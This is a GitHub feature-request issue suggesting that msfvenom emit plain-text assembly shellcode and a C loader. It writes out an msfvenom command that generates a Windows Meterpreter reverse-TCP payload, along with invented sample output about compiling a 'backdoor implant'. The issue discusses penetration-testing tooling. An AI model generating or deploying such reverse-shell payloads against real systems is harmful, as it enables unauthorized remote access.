Skip to content

Please simplify msfvenom internal workflow, current implementation just trick bad hackers into thinking they're good sorry #20029

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
Admin9961 opened this issue Apr 12, 2025 · 0 comments
Labels
suggestion-feature New feature suggestions

Comments

@Admin9961
Copy link

Current msfvenom does something like this.

shellcode -> template.exe = shellcode+template.exe

My idea: no binary output, you rather get raw valid assembly data and a C loader.

New command syntax to reflect my idea:
msfvenom -p windows/meterpreter/reverse_tcp lhost=your_ip lport=your_port --template=C --format=plain-text (plain text assembly) or --format=compiled-hex (this will give the assembly shellcode directly compiled in byte-code)

Expected output
Using staged x86 payload...
Generating folder 'metsrv'...
Done
[1.] Template.c ready in 'metsrv' folder
[2.] Shellcode.asm ready in 'metsrv' folder
In case one used the "compiled" flag, you get [2.] Shellcode.txt containing bytecode in hex format
[tip] nasm -f win32 Shellcode.asm -o Shellcode.obj
[msfconsole_alert] Download NASM and Mingwx86-x64-GCC, compile the backdoor implant and place the output in metasploit-framework/bin/templates/payloads/reverse_tcp_meterpreter/staged -- Enjoy shell.

To-do: add error handling to fight bad inputs for this scenario.
To compensate for losing novices, new students or the "I can hack your facebook" guy, please, consider adding Docs about how to use NASM and Mingw-GCC to compile the backdoor implant.
Benefices: with this idea, the pentester has granular control and simplified workflow. You don't have to figure-out anything anymore with a Debugger, becouse msfvenom now prints plain-text code.

@Admin9961 Admin9961 added the suggestion-feature New feature suggestions label Apr 12, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
suggestion-feature New feature suggestions
Projects
None yet
Development

No branches or pull requests

1 participant